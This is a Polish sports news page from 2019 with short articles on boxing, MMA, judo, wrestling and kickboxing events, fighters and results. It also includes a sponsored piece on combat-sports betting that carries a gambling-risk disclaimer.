Rywalem byłego mistrza świata WBC i IBF w kategorii junior ciężkiej będzie Taylor Mabika z Gabonu. Zawodnik z Afryki jest dwa lata starszy od Włodarczyka, ma 40. lat. Na swoim koncie Mabika zapisał 19 zwycięstw, w tym 10 przed czasem. Zanotował również cztery porażki i remis. Dwa ostatnie pojedynki Mabika zakończył jako przegrany. Na zwycięstwo Mabika czeka od czerwca 2018 roku, kiedy to pokonał Nuriego Seferiego. Zawodnik z Gabonu ma również na rozkładzie ostatniego rywala "Diablo" – Rumuna Alexandru Jura. Pięściarz ma za sobą występ w igrzyskach olimpijskich w Atenach, ale bez większego powodzenia, bo odpadł w pierwszej rundzie.  Dla boksera z Afryki walka z Włodarczykiem będzie kolejnym występem w Polsce. W 2013 roku w Rzeszowie uległ Krzysztofowi Głowackiemu.

Ambicje Włodarczyka nadal są duże. Wygrana z Mabiką może być przystankiem do walk o zdecydowanie wyższą stawkę. Mówi się, że „Diablo” chciałby spotkać się z Ilungą Makabu.

30 listopada w Zakopanem zaprezentuje się również mistrz Polski w wadze ciężkiej Łukasz Różański. Ósmą walkę w karierze stoczy Damian Kiwior.

KM

Trzy medale judoków w Estonii

Trzy medale na swoim koncie zapisali Polacy w zawodach European Open w judo, które odbyły się w Tallinie. Na najniższym stopniu podium stanęli – Paulina Dziopa (78kg), Paula Kułaga (+78kg) oraz Kacper Szczurowski (100kg). Z kolei podczas mistrzostw świata weteranów w Marakeszu Polska wywalczyła cztery medale.

Paulina Dziopa zbiera doświadczenie w rywalizacji seniorskiej, ale w Tallinie pokazała, że nie zamierza biernie przyglądać się, lecz stawia na rozwój. Najlepszym tego dowodem jest brązowy medal. Polka stoczyła cztery walki, z których wygrała trzy. Dziopa w pokonanym polu pozostawiła młodą Litwinkę Migle Dudenaite oraz doświadczoną reprezentantkę Portugalii Yahmię Ramirez. Na drodze Polki do finału stanęła Linda Politi, która wygrała przez ippon. W starciu o brąz Dziopa pokonała Lucię Tangorre.

Trzeci medal w zawodach rangi European Open zdobyła Paula Kulaga. 23-letnia zawodniczka ostatni raz na podium stała w Madrycie w 2018 roku. Kulaga źle rozpoczęła zawody w stolicy Estonii. Po dwóch minutach rywalizacji z Tessie Savelkouls schodziła pokonana z placu boju. Kulaga trafiła do repasaży, gdzie szybko znalazła sposób na Patricę Bartulos Ferrer. Po upływie dwóch minut Polka mogła cieszyć się ze zwycięstwa, które dało jej szansę na brąz. W walce o podium trafiła na… Annę Załęczną. Zawodniczka Toruńskiego Klubu Sportowego Judo wywalczyła brąz pod koniec września w Luksemburgu. Tym razem lepsza okazała się Kulaga, która mogła cieszyć się z medalu.

W repasażach musiał rywalizować również Kacper Szczurowski. Przygoda 22-latka z Tallinem zaczęła się wręcz idealnie. Błyskawicznie pokonał Lalli Nuorteva, ale w kolejnej walce nie poradził sobie z Grigoim Minaskinem. W repasażach Polak pokonał brązowego medalistę mistrzostw świata kadetów z 2015 roku Antona Sachylovicha. Podium było bardzo blisko. Szczurowski wykonał krok w jego stronę pokonując w 42 sekundy Emila Mattssona.

Na piątym miejscu rywalizację w Tallinie zakończył Oleksii Lysenko (100kg).

Weterani z medalami

W Marakeszu odbyła się rywalizacja weteranów, którzy walczyli o medale mistrzostw świata. Po złoto sięgnął Krzysztof Wiłkomirski w kategorii 73kg, M2 (35-39 lat), który wygrał pięć pojedynków. O krok od triumfu był Paweł Sitarski – 100kg, M3 (40-44 lata), ale srebro również dostarczyło mu i kibicom wiele radości. Brązowe medale wywalczyli Marcin Rejniak – 66kg, M2 (50-54 lata) oraz Sławomir Kamiński 100kg/M5.

Fot. zdjęcie poglądowe

KM

Zakłady bukmacherskie na boks, MMA i inne sporty walki

Sporty walki znane są od zarania dziejów. Obecnie są to jedne z najpopularniejszych rodzajów dyscyplin sportowych. Co jakiś czas pojawiają się też nowe odmiany niektórych z dobrze już znanych sportów. Ta popularność sprawia, że pasjonaci tych właśnie sportów często obstawiają wyniki spotkań w zakładach bukmacherskich. Jakie są możliwości w zakresie obstawiania sportów walki? Czy do tego potrzebna jest jakaś strategia, czy wystarczy znajomość umiejętności poszczególnych zawodników? Jakie jeszcze sporty można obstawiać w zakładach bukmacherskich?

Sporty walki w zakładach bukmacherskich

Obecnie do najpopularniejszych sportów walki zalicza się boks oraz MMA. To właśnie one zbierają największą publikę oraz są chętnie obstawiane przez kibiców sportowych. W tym momencie można się zastanowić, czy do obstawiania poszczególnych spotkań potrzebna jest tutaj jakaś strategia, która pozwoli wytypować wygrywającego zawodnika? Jak się okazuje, istnieje wiele poradników, które podpowiadają, w jaki sposób obstawiać tego typu dyscypliny sportowe.

Przede wszystkim warto sprawdzić to, jak wcześniej prezentował się na ringu dany zawodnik – ile walk przegrał, a ile wygrał i w jakim stylu to zrobił (np. czy był to walkower czy wygrana na punkty). Tutaj jednak trzeba pamiętać, że niekiedy pomiędzy poszczególnymi walkami są duże odstępy czasu, więc od ostatniej mogło się w jego kondycji dużo zmienić. Warto też pamiętać, że u każdego mogą wystąpić chwilowe niedyspozycje. Pomocne w ocenie jego kondycji może być to, jak wypada na sparingach, a także to, czy startuje w swojej „stałej” kategorii wagowej, czy też zmieniał ją i jeśli tak, to na wyższą czy niższą. Co istotne w przypadku sportów walki można obstawiać nie tylko wygraną czy przegraną zawodnika. W zakładach bukmacherskich można wskazać również to, ile rund potrwa walka czy też ile punktów zdobędzie dany zawodnik, a także to, czy walka zakończy się walkowerem, czy nie. Możliwości jest tutaj naprawdę dużo.

Nie tylko sporty walki – co jeszcze można obstawiać?

""

fot. Xinhua / Pressfocus

Sporty walki to nie jedyne dyscypliny, które można obstawiać w zakładach bukmacherskich, np. w takich jak sts.pl. Dużo możliwości dają między innymi sporty drużynowe np. koszykówka, piłka nożna, czy hokej. Sporą popularnością cieszą się również: tenis oraz sporty motorowe, np. żużel. Co ciekawe obstawiać można nie tylko te popularne sporty. Bukmacherzy oferują także zakłady na rozgrywki golfa, krykieta, piłki wodnej, a nawet coraz popularniejsze zakłady na esport. Więcej informacji na temat tego, jakie dyscypliny sportowe dostępne są w zakładach bukmacherskich, można znaleźć w artykule: Które sporty warto obstawiać?

Udział w nielegalnych grach hazardowych jest karany. STS (Star-Typ Sport Zakłady Wzajemne Spółka z o.o.) posiada zezwolenie wydane przez Ministra ds. Finansów Publicznych na urządzanie zakładów wzajemnych. Hazard związany jest z ryzykiem.

FEN 26: Karta walk i kolejność pojedynków

Przedstawiamy wersję graficzną karty walk gali FEN 26 oraz kolejność pojedynków, które 12 października odbędą się we Wrocławiu.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
77 KG, MMA: Szymon Dusza vs Kamil Gniadek
77 KG, MMA: Tymoteusz Łopaczyk VS Michał Golasiński
84 KG, MMA: Krystian Bielski VS Adrian Bartosiński
70 KG, MMA: Łukasz Charzewski vs Krystian Blezień
86 KG, MMA: Marcin Krakowiak vs Jarosław Lech

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  facebook.com/events/708341146245825/

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Krakowiak podejmie Lecha na FEN 26

Mistrz skończeń przed czasem Marcin Krakowiak (5-1, 2 KO, 3 SUB) podejmie Jarosława Lecha (5-4, 2 KO, 2 SUB) podczas gali FEN 26 we Wrocławiu. Krakowiak zastąpi tym samym Pawła Trybałę, który wypada z karty walk z powodu kontuzji. Limit tego starcia to 86 kilogramów.

Krakowiak przebojem wdarł się do organizacji FEN w marcu tego roku, gdy poddał w 3. rundzie Mateusza Strzelczyka. Za to skończenie otrzymał bonus od organizacji. We wrześniu 2019 roku efektownym high kickiem rozpawił się w premierowej odsłonie z Denisem Kudinovem. Wcześniej Krakowiak odniósł trzy zwycięstwa, wszystkie przed czasem.

Lech ma na swoim koncie 5 wygranych walk, z których cztery odniósł przed czasem. Zawodnik trenujący na co dzień w Myszkowie dwa swoje ostatnie starcia zwyciężył poddając Piotra Drozdowskiego i jednogłośnie rozprawiając się z Piotrem Walawskim. Na początku 2019 roku Lech znokautował w 1. rundzie Przemysława Welnickiego. Konfrontacja z Krakowiakiem będzie jego debiutem pod szyldem FEN.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca*
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki*
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk
-120 KG, MMA: Szymon Bajor vs Marcin Sianos
77 KG, MMA: Szymon Dusza vs Kamil Gniadek
77 KG, MMA: Tymoteusz Łopaczyk VS Michał Golasiński
84 KG, MMA: Krystian Bielski VS Adrian Bartosiński
70 KG, MMA: Łukasz Charzewski vs Krystian Blezień
86 KG, MMA: Marcin Krakowiak vs Jarosław Lech

Mistrzostwa Warszawy w Kickboxingu

Jesienią po raz pierwszy w historii odbędą się Otwarte Mistrzostwa Warszawy w Kick-boxingu. W dniach 9-10 listopada br. zawodnicy będą rywalizować w dwóch formułach: ringowej i na planszach. Dla seniorów i seniorek przygotowano zmagania w najtwardszej formule tj. K-1 Rules. Młodsi uczestnicy, w wieku 10-15 lat powalczą o prymat w Stolicy w formule Pointfighting.

Za organizację zawodów odpowiada Karol Łada (trener i twórca Warszawskiej Grandy) oraz Polski Związek Kick-boxingu. Partnerami tego przedsięwzięcia są Legia Fight Club oraz Ninja Academy Warszawa.

Na pierwszy dzień Mistrzostw zaplanowano rejestrację zawodników oraz konferencję prasową z organizatorami w budynku Hali Torwar, na ul. Łazienkowskiej 6. Po godzinie 16 tego samego dnia w siedzibie Legia Fight Club (również Torwar) rozpoczną się walki eliminacyjne.

Drugiego dnia tj. w niedzielę 10 listopada zawody przeniosą się na halę Ośrodka Sportu i Rekreacji Dzielnicy Wola przy ul. Redutowej 37. Od godzin porannych rozpoczną się walki kadetów oraz kolejne tury pojedynków seniorów i seniorek. Finały i dekorację zwycięzców zaplanowano na godziny późno-popołudniowe.

Do walki o tytuł Mistrza Warszawy przystąpić mogą zawodnicy i kluby z całej Polski oraz zza granicy- również Ci, nie będący członkami Polskiego Związku Kick-boxingu. Zgłoszenia przyjmowane są poprzez System Obsługi Imprez na stronie PZKB.

Link do wydarzenia na facebook:

https://www.facebook.com/events/601222850403762/

Komunikat organizacyjny:

http://pzkickboxing.pl/soi/169,i,mistrzostwa,warszawy,kickboxingu,formule,k,seniorow,pf,kadetow,warszawa.html

Link do zgłoszeń:

http://pzkickboxing.pl/soi/zgloszenie/169

Karol Łada: 730-005-225 , karollada.wwa@gmail.com

 

Medal Załęcznej, Sobierajska za podium

Katarzyna Sobierajska (70kg) otarła się o podium mistrzostw świata kadetów w judo, które odbyły się w Ałmatach. Polka zajęła piątą lokatę. Z brązem z zawodów Pucharu Świata w Luksemburgu wraca Anna Załęczna (+78kg, na zdjęciu).

Kolejny dobry występ Katarzyny Sobierajskiej. Zawodniczka AZS UW Warszawa znajduje się w wysokiej formie, co potwierdziła niejednokrotnie. W tym roku Sobierajska triumfowała w Pucharach Europy w Follonicy oraz Zagrzebiu. Na swoim koncie zapisała srebro zmagań w Bielsku-Białej. Sobierajska stanęła również na podium mistrzostw Europy, które odbyły się w Warszawie.

W Ałmatach młoda Polka stanęła przed kolejnym wyzwaniem. Start w mistrzostwach świata rozpoczęła od wygranej z Francuzką Juliette Diollot. W ćwierćfinale Sobierajska w nieco ponad dwie minuty uporała się z Montą Anną Olek i znalazła się w strefie medalowej. Półfinałową rywalką Polki był Moka Kuwagata. Zawodniczki doskonale się znają, bo Japonka pokonała Sobierajską w Bielsku-Białej. W Ałmatach było podobnie. Minęły trzy minuty i ippon w wykonaniu Kuwagaty zakończył walkę. Sobierajskiej pozostała rywalizacja o brąz, jednak po upływie czterech minut ze zwycięstwa mogła cieszyć się Elisabeth Pflugbeil.

Brąz Załęcznej

Ponad rok na kolejny medal Pucharu Świata czekała Anna Załęczna. Zawodniczka Toruńskiego Klubu Sportowego Judo sięgnęła po brąz w Luksemburgu. Na swojej drodze Polka spotykała wyłącznie zawodniczki z Francji. Zaczęła efektownie od wygranej przed czasem. W półfinale Załęczna przegrała z Marine Erb, która w tym roku wygrywała zawody w Cluj. W Luksemburgu Francuzka zapisała na swoim koncie kolejny triumf. Załęcznej pozostała rywalizacja o brąz z Emmą Saudrais. Z tej potyczki zwycięsko wyszła Polka.

Blisko podium była Urszula Hofman (70kg). Zmagania w Luksemburgu zaczęła od wygranej z Alison Linon, jednak w kolejnym starciu uległa Szabinie Gercsak. W repasażach Hofman uporała się z Hazel Taylor i stanęła do pojedynku o brąz z Melissą Heleine. Francuzka wygrała przez ippon. Siódmą lokatę w Luksemburgu zajął Sebastian Marcinkiewicz (81kg).

Warsaw Judo Open

1650 judoczek i judoków wzięło udział w XXI Warsaw Judo Open na Torwarze. W rywalizacji zaprezentowali się zawodnicy z Polski, Japonii, Holandii, Niemiec czy Węgier. Zmagania odbywały się w kategoriach wiekowych U16, U18 i U21. Reprezentanci polskich klubów wywalczyli dziewięć złotych medali.

Fot. Anna Załęczna Facebook

KM

B.J. Penn poza UFC

Były mistrz UFC w wadze lekkiej i półśredniej B.J. Penn kończy swoją przygodę z organizacją. 40-latek został zwolniony i pozostaje wolnym zawodnikiem.

Przez lata amerykański fighter był jedną z czołowych postaci UFC, jednak w ostatnim czasie o jego wyczynach zbyt wiele dobrego powiedzieć i napisać nie można. B.J. Penn przegrał siedem walk z rzędu, a ostatnią wygraną zanotował blisko dziewięć lat temu! To chyba mówi wszystko o formie Amerykanina.

Kwestia sportowa to tylko jeden z elementów, który rzutuje na ocenę Amerykanina. W oktagonie nie prezentował się jak za dawnych lat, ale wplątał się również w inne problemy. Jego partnerka oskarżała go o znęcanie. W związku z tym otrzymał dwuletni zakaz zbliżania się do żony i dzieci. To nie wszystkie „wyczyny” utytułowanego zawodnika. W czerwcu były mistrz UFC został wyrzucony z klubu ze striptizem na Hawajach w stanie… mocnego upojenia alkoholowego. Dodatkowo uciekł przed przyjazdem policji. Ponadto, w ostatnim czasie w internecie pojawiły się nagrania, które przedstawiają udział B.J. Penna w bójkach ulicznych.

Dotychczas mówiło się, że 40-latek pojawi się w oktagonie i zmierzy się z Nikiem Lentzem. Ostatnie wydarzenia w postaci bójek ulicznych "przelały czarę goryczy". UFC podjęło decyzję o zwolnieniu amerykańskiego fightera. Teraz B.J. Penn pozostaje wolnym i pod znakiem zapytania stoi jego sportowa przyszłość. Trudno wyrokować, czy któraś organizacja skusi się na zatrudnienie B.J. Penna w kiepskiej formie oraz notującego kolejne wpadki. Choć nie można zaprzeczyć, że to czołowa postać MMA, jednak jego najlepsze czasy dawno minęły… W styczniu 2004 roku B.J. Penn zdobył pas w wadze półśredniej pokonując Matta Hughesa. Z kolei cztery lata później wygrał z Jeo Stevensonem i sięgnął po tytuł w kategorii lekkiej, którego skutecznie bronił trzykrotnie.

B.J. Penn ma piękne wspomnienia, jednak jego obecne wybryki zaburzają ten obraz. Łącznie Amerykanin stoczył 30 pojedynków, z których 16 wygrał. Ostatnią walkę 40-latek stoczył 11 maja 2019 roku podczas UFC 237, kiedy to przegrał z Clayem Guidą.

Fot. bjpenn.com

KM

Brąz Gadżijewa

W Kazachstanie odbyły się mistrzostwa świata w zapasach. Jedyny medal dla Polski wywalczył Magomedmurad Gadżijew (70kg), który sięgnął po brąz w stylu wolnym. Kwalifikacje olimpijskie do Tokio uzyskali Roksana Zasina, Jowita Wrzesień i Tadeusz Michalik.

Dla 31-letniego Gadżijewa to drugi medal mistrzostw świata. W 2017 roku w Paryżu sięgnął po srebro, ale w kategorii 65kg. W potyczce o złoto lepszy okazał się Gruzin Zurabi Iakobiszwili. Los dał Gadżijewowi okazję do rewanżu w Kazachstanie. W Nur-Sułtan reprezentant Polski spotkał się z Gruzinem w starciu o brąz. Tym razem Iakobiszwili musiał uznać wyższość Gadżijewa i znalazł się poza podium. Pojedynek lepiej rozpoczął 31-latek pochodzący z Dagestanu, który prowadził 3:0. W końcówce pierwszej rundy Iakobiszwili przeprowadził akcję za dwa. Gadżijew nie pozwolił rywalowi na więcej i mógł cieszyć się z medalu. Reprezentant Polski w Kazachstanie wygrał cztery pojedynki. Przegrał jedynie w półfinale (2:5) z późniejszym mistrzem świata Rosjaninem Dawidem Bajewem. Warto również wspomnieć, że brąz wywalczony w Nur-Sułtan to kolejny tegoroczny sukces Gadżijewa. Zapaśnik zajął trzecie miejsce w mistrzostwach Europy w Bukareszcie.

Blisko drugiego medalu mistrzostw świata w karierze była Roksana Zasina (53kg). Zapaśniczka ZTA Zgierz zajęła ostatecznie piątą lokatę. W 1/8 finału Zasina przegrała z przyszłą złotą medalistą Pak Yong-mi z Korei Północnej i trafiła do repasaży. Tam wygrała dwa pojedynki, dzięki czemu mogła rywalizować o brąz. Ponownie na przeszkodzie stanęła jej zawodniczka z Azji. Pang Qianyu drugi raz z rzędu mogła cieszyć się z brązowego medalu mistrzostw świata, bo Zasina musiała zrezygnować z pojedynku z powodu kontuzji więzadła pobocznego w kolanie. Podium nie dla Polki, ale na pewno cieszy kwalifikacja do Tokio. Tak jak i w przypadku Jowity Wrzesień (57kg). Polka szła jak burza – wygrała trzy walki, dopiero w półfinale zatrzymała się Rong Ningning z Chin. W starciu o brąz Wrzesień przegrała 0:4 ze złotą medalistką Igrzysk Europejskich w Mińsku Iryną Kuraczkiną.

Kwalifikacja olimpijska także dla Tadeusza Michalika (97kg). Reprezentant klubu Sobieski Poznań rywalizujący w stylu klasycznym wygrał dwa pojedynki i znalazł się w ćwierćfinale. Tam trafił na poważną przeszkodę w postaci Musy Jewłojewa – mistrza Europy i ubiegłorocznego czempiona mistrzostw świata. Rosjanin pokonał Polaka i w ostatecznym rozrachunku ponownie sięgnął po złoto. Michalikowi pozostały repasaże, w których uporał się z zawodnikiem z Uzbekistanu. W starciu o brąz lepszy okazał się Micheil Kadżaia.

W mistrzostwach świata najlepiej zaprezentowali się Rosjanie, którzy zdobyli 19 medali, w tym 9 złotych. Na ich plecami USA (7 – 5,0,2) oraz Gruzja (6 – 4,0,2). Polska na 27. miejscu w klasyfikacji medalowej.

Fot. Polski Związek Zapaśniczy/United World Wrestling

KM

Intensywna jesień

KSW rozgrzeje swoich fanów jesienią. Organizacja zaplanowała dwie gale – 9 listopada w Zagrzebiu i 7 grudnia w Gliwicach.

Niedawno odbyła się jubileuszowa – 50. gala KSW, która miała miejsce w Londynie. Była to trzecia wizyta polskiej organizacji na stadionie Wembley. W przeszłości KSW gościła również w Irlandii, gdzie odbyła się gala numer 40. Włodarze organizacji otwierają się na kolejny rynek i tym razem upatrzyli sobie Zagrzeb.

W stolicy Chorwacji 9 listopada odbędzie się gala KSW 51. Rzecz jasna w stawce nie może zabraknąć zawodników z Bałkanów. Czwarty pojedynek dla federacji Martina Lewandowskiego i Macieja Kawulskiego stoczy Erko Jun. Dotychczas 29-letni Bośniak wygrał wszystkie pojedynki przed czasem. Jego rywalem będzie polujący na trzynasty triumf Mariusz Pudzianowski 42-latek przegrał ostatnie dwa pojedynki. W klatce KSW ponownie zaprezentuje się Vaso Bakocević, dla którego będzie to powrót do polskiej organizacji. W listopadzie 2015 roku przegrał z Anzorem Azhievem. Wcześniej uległ Arturowi Sowińskiemu i Maciejowi Jewtuszko. Reprezentant Czarnogóry zmierzy się z byłym czempionem wagi półśredniej Borysem Mańkowskim. Polak czeka na wygraną w KSW od blisko trzech lat.

W Zagrzebiu o pas wagi koguciej powalczy Antun Racić. 29-letni Chorwat debiutował podczas KSW 40 w Dublinie i wygrał cztery pojedynki. Po pokonaniu Damiana Janikowskiego na kolejne wyzwanie czeka Serb Aleksandar Ilić. W swoim kraju zaprezentuje się Filip Pejić, który w kwietniu wygrał przed czasem z Filipem Wolańskim.

Najpierw nowy rynek, a potem, 7 grudnia, gala KSW 52 w Gliwicach. W śląskim mieście organizacja będzie gościła drugi raz na przestrzeni roku. Gliwice nie są szczęśliwe dla Mameda Khalidova, który ma być gwiazdą gali KSW 52. W pojedynku wieczoru zmierzy się z mistrzem wagi średniej Scottem Askhamem. 1 grudnia 2018 roku Khalidov przegrał z Tomaszem Narkunem. Były mistrz ma za sobą dwie porażki z "Żyrafą" i podjął decyzję o zakończeniu kariery, jednak w lipcu wrócił do treningów. Teraz dostaje szansę powrotu na tron. Nie będzie miał łatwo. Scott Askham świetnie prezentuje się w KSW. Anglik wygrał trzy walki przed czasem, a w maju triumfował w turniej wagi ciężkiej i sięgnął po tytuł mistrzowski.

Fot. materiały promocyjne

KM

Rewanż niezagrożony

Wobec kontuzji, której Tyson Fury doznał w wygranej walce z Otto Wallinem pod znakiem zapytania stanął jego rewanż z Deontayem Wilderem. Na lutowy pojedynek olbrzym z Wilmslow ma być w pełni gotowy.

Wiele zdrowia kosztowała Tysona Fury'ego rywalizacja z Wallinem. W trzeciej rundzie 28-letni Szwed rozciął powiekę byłego mistrza świata WBA, IBF, WBO i IBO. Fury pokazał jednak ogromną wolę walki i mimo problemów z widzeniem dalej boksował. Pojedynek trwał dwanaście rund. Fury wygrał decyzją sędziów i zanotował 29. wygraną w karierze. Po pojedynku 31-latek trafił do szpitala, gdzie założono mu 47 szwów!

Zdjęcia rozciętego prawego łuku brwiowego wyglądały okropnie. Wrażliwych ten widok mógł przyprawić o mdłości. Poważny uraz, wizyta w szpitalu i od razu pojawiły się wątpliwości, czy przyszłoroczny rewanż Fury'ego z Wilderem dojdzie do skutku. Trzeba być dobrej myśli. Według lekarzy Brytyjczyk będzie mógł wrócić do sparingów po siedmiu tygodniach, a więc w listopadzie.

Druga odsłona rywalizacji Fury'ego z mistrzem WBC została zaplanowana na 22 lutego 2020 roku w Las Vegas. Pierwsze starcie (1 grudnia 2018 roku) zakończyło się remisem, choć werdykt wywołał kontrowersje. Wielu wskazywało, że to Brytyjczykowi należało się zwycięstwo, choć w trakcie walki znalazł się na deskach. Było to starcie trzymające w napięciu i pełne ciekawych wymian. Wszyscy liczą, że także rewanż dostarczy wielu emocji.

Zanim jednak Wilder spotka się z Fury'm, prawdopodobnie stoczy rewanżowe starcie z Luisem Ortizem. Pojedynek miałby się odbyć 23 listopada w Las Vegas. Wilder pokonał Ortiza 3 marca 2018 roku, kiedy to triumfował w dziesiątej rundzie. Ostatnio Amerykanin pokonał Dominica Breazeale już w pierwszej odsłonie. Kolejna walka będzie dziesiątą obroną pasa WBC dla Wildera i zarazem 43. Pojedynkiem w zawodowej karierze.

Fury będzie mógł wygodnie usiąść i z boku obserwować poczynania "Bronze Bombera". W tym roku Brytyjczyk wygrał dwie walki – z wspomnianym Wallinem i wcześniej z Tomem Schwarzem.

Fot. Tyson Fury Facebook

KM

Trudna sytuacja Tybury

Gala UFC Fight Night 158 nie była szczęśliwa dla Marcina Tybury. Polak przegrał z Augusto Sakaiem już w pierwszej rundzie. Dla Tybury była to druga porażka z rzędu i czwarta w ostatnich pięciu walkach.

Nie da się ukryć, że nad byłym mistrzem M-1 Global zebrały się czarne chmury. Sytuacja polskiego zawodnika MMA po porażce w Vancouver jest niezwykle ciężka. Inaczej na sprawę można by patrzeć, gdyby pojedynek z Brazylijczykiem zakończył się decyzją sędziów. Sakai wypunktował Tyburę w niecałą minutę. Mocny praw sierp ze strony Brazylijczyka naruszył 33-latka. Potem Sakai wyprowadził festiwal ciosów pod siatką, po czym Tybura osunął się na matę, a sędzia przetrwał starcie. Piąta porażka Polaka w UFC stała się faktem. Dodatkowo Marcin Tybura nie zaprezentował nic, co mogłoby zapaść w pamięć włodarzy organizacji i kibiców.

33-latek z Uniejowa przeżywa ciężkie chwile w UFC, a jeszcze dwa lata temu był w czołówce wagi ciężkiej. W czerwcu 2017 roku pokonał byłego czempiona wspomnianej kategorii Andreia Arlovskiego i była to jego trzecia wygrana z rzędu. Tybura był na fali. Kolejnym wyzwaniem Polaka był uznany Fabricio Werdum. Tybura przegrał na dystansie pięciu rund i od tej chwili zaczęła się jego zła passa. W kolejnym starciu przegrał z Derrickiem Lewisem. Na chwilę wyjrzało słońce – wygrana w lipcu ubiegłego roku z Stefanem Struve'm. Jednak w kolejnym starciu Tybura przegrał przed czasem z Shamilem Abdurakhimovem. Terasz lepszy okazał się Sakai. Co warto podkreślić, trzy z czterech przegranych pojedynków zakończyły się przed czasem.

Polak zaczął przygodę z UFC w kwietniu 2016 roku, kiedy to w debiucie przegrał z Timothy'm Johnsonem. W kolejnych pojedynkach prezentował wysoki poziom, co ukoronował triumfem nad Arlovskim. Nastąpił jednak kryzys… Po ponad trzech latach zawodnik znalazł się na bardzo ostrym zakręcie. Sytuacja Tybury w UFC jest bardzo ciężka. Jego akcje znacznie spadły na przestrzeni ostatnich miesięcy i nie ma, co ukryć, że przyszłość polskiego zawodnika w amerykańskiej organizacji stanęła pod ogromnym znakiem zapytania. Czy UFC da Tyburze jeszcze jedną szansę?

Fot. Marcin Tybura Facebook

KM

Włoch na drodze Szpilki

26 października podczas gali KnockOut Boxing Night 8 w Sosnowcu zaprezentuje się Artur Szpilka. Jego rywalem będzie Fabio Tuiach.

"Szpila" stoczy drugą walkę w tym roku. W lipcu przegrał przez nokaut z Dereckiem Chisorą. Z pojedynkiem z pięściarzem z Zimbabwe wiązano duże nadzieje. Zwycięstwo miało być dla Szpilki przepustką na salony, jednak Polak przegrał i ponownie znajdzie się w… przedpokoju. W Sosnowcu rozpocznie żmudną drogę, aby wrócić do światowej czołówki wagi ciężkiej.

Wiek nie ogranicza Szpilki, bo ma dopiero 30 lat. Z pewnością atutem jest jego doświadczenie. Pochodzący z Wieliczki pięściarz gromił wszystkich aż znalazł zaporę nie do przejścia w osobie Bryanta Jenningsa. Przełomowa miała być wygrana z Tomaszem Adamkiem w Krakowie w 2014 roku. Szpilka nieco uspokoił się, skupił na boksie i ponownie ruszył do Stanów Zjednoczonych. Tam w mgnieniu oka wypunktował trzech rywali i w styczniu 2016 roku w Barclays Center stanął "oko w oko" z czempionem WBC wagi ciężkiej Deontayem Wilderem. "Szpila" nie przestraszył się rywalizacji z Amerykaninem i wyglądał bardzo dobrze. Do czasu. W dziewiątej rundzie Wilder wyprowadził zabójczy cios. Szpilka znalazł się na deskach i przez dłuższy czas nie mógł z nich wstać. Miał wrócić do wygrywania w pojedynku z Adamem Kownackim. Niespodzianka… Tak wtedy oceniano zwycięstwo Kownackiego. Szpilka znalazł się na zakręcie. W jednej chwili z pozycji pretendenta do pasa spadł do II ligi. Przez moment mówiło się nawet, że "Szpila" trafi do KSW.

Polski pięściarz wrócił w maju 2018 roku. Wystąpił na gali Marcina Najmana na Stadionie Narodowym w Warszawie, gdzie pokonał Dominicka Guinna. Szpilka szukał wyzwań i kilka miesięcy później spotkał się z Mariuszem Wachem. Wygrał, ale wynik walki wzbudził kontrowersje. Chisora zatrzymał jednak Szpilkę.

Szykuje się zatem kolejny powrót 30-letniego pięściarza. Przed Szpilką długa droga, aby odbudować swoją pozycję. Może należy postępować nieco spokojniej. Oswoić się z ringiem, zanotować kilka zwycięstw, a nie szybko rzucać się na głęboką wodę. 26 października w Sosnowcu Polak spotka się z Fabio Tuiachem. Włoch wydaje się solidny rzemieślnikiem, artystą raczej na pewno nie jest. Tuiach jest byłym mistrzem Włoch i pretendentem do tytułu mistrza Europy WBO kategorii ciężkiej. Jest starszy o dziewięć lat od Szpilki i stoczył więcej walk, ale powiedzieć, że ma większe doświadczenie to spore nadużycie. Tuiach rywalizował przede wszystkim na włoskich ringach. W ostatnich pięciu walkach zanotował trzy porażki. Najpoważniejszym rywalem Tuiacha był Marco Huck, który w 2008 roku znokautował Włocha już w drugiej rundzie.

Przed Szpilką stoi proste zadanie – wygrać. Ring pokaże, czy to takie łatwe. Polak zmierzy się z rywalem, ale i presją.

KM

Souza na drodze Błachowicza

Podczas gali UFC on ESPN+ 22 (UFC Fight Night 164), która odbędzie się 16 listopada w Ibirapuera Gymnasium w Sao Paulo Jan Błachowicz zmierzy się z Ronaldo Souzą.

Robiliśmy sobie wielkie nadzieje, że jeszcze w tym roku "John" będzie miał okazję rywalizować z Jonem Jonesem o pas w kategorii półciężkiej. Błachowicz wyrażał swoją gotowość do starcia z Amerykaninem. Pojawiały się głosy, że to Polak będzie kolejnym pretendentem do pasa. Starcie o tytuł wydawało się być o krok, ale "Cieszyński Książę" i polscy kibice muszą uzbroić się w cierpliwość. W listopadzie Błachowicz uda się do Brazylii.

36-letni Polak znakomicie radzi sobie w UFC. W amerykańskiej organizacji rywalizuje od pięciu lat. Początek przygody w kratkę, jednak z pojedynku na pojedynek zawodnik rozkręcał się. Imponująca seria czterech zwycięstw sprawiła, że Błachowicz mógł myśleć o rywalizacji o pas. Na ostatniej prostej przegrał jednak z Thiago Santosem, który następnie nie dał rady Jonesowi. W lipcu w efektownym stylu Błachowicz odprawił w drugiej rundzie Luke'a Rockholda. To było jego siódme zwycięstwo w UFC. O ósme Polak powalczy 16 listopada z Ronaldo Souzą, który rywalizuje w amerykańskiej organizacji od stycznia 2013 roku. Wcześniej Brazylijczyk był mistrzem Strikeforce w wadze średniej.

